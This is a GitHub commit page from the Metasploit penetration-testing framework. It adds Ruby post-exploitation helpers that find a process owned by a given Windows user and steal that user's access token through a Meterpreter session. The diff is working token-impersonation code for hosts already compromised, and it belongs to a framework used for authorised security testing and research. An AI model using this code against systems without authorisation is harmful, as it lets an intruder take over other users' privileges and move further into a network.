Skip to content

Commit 455ba42

Browse files
committed
Land rapid7#7218, Add new post-exploitation APIs for stealing access tokens
2 parents 87d34cf + 265adeb commit 455ba42

File tree

1 file changed

+42
-0
lines changed

1 file changed

+42
-0
lines changed

lib/msf/core/post/windows/priv.rb

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,48 @@ def is_admin?
4343
end
4444
end
4545

46+
# Steals the current user's token.
47+
# @see steal_token
48+
def steal_current_user_token
49+
steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
50+
end
51+
52+
#
53+
# Steals a token for a user.
54+
# @param String computer_name Computer name.
55+
# @param String user_name To token to steal from. If not set, it will try to steal
56+
# the current user's token.
57+
# @return [boolean] TrueClass if successful, otherwise FalseClass.
58+
# @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
59+
#
60+
def steal_token(computer_name, user_name)
61+
pid = nil
62+
63+
session.sys.process.processes.each do |p|
64+
if p['user'] == "#{computer_name}\\#{user_name}"
65+
pid = p['pid']
66+
end
67+
end
68+
69+
unless pid
70+
vprint_error("No PID found for #{user_name}")
71+
return false
72+
end
73+
74+
vprint_status("Stealing token from PID #{pid} for #{user_name}")
75+
76+
begin
77+
session.sys.config.steal_token(pid)
78+
rescue Rex::Post::Meterpreter::RequestError => e
79+
# It could raise an exception even when the token is successfully stolen,
80+
# so we will just log the exception and move on.
81+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
82+
end
83+
84+
true
85+
end
86+
87+
4688
#
4789
# Returns true if in the administrator group
4890
#

0 commit comments

Comments
 (0)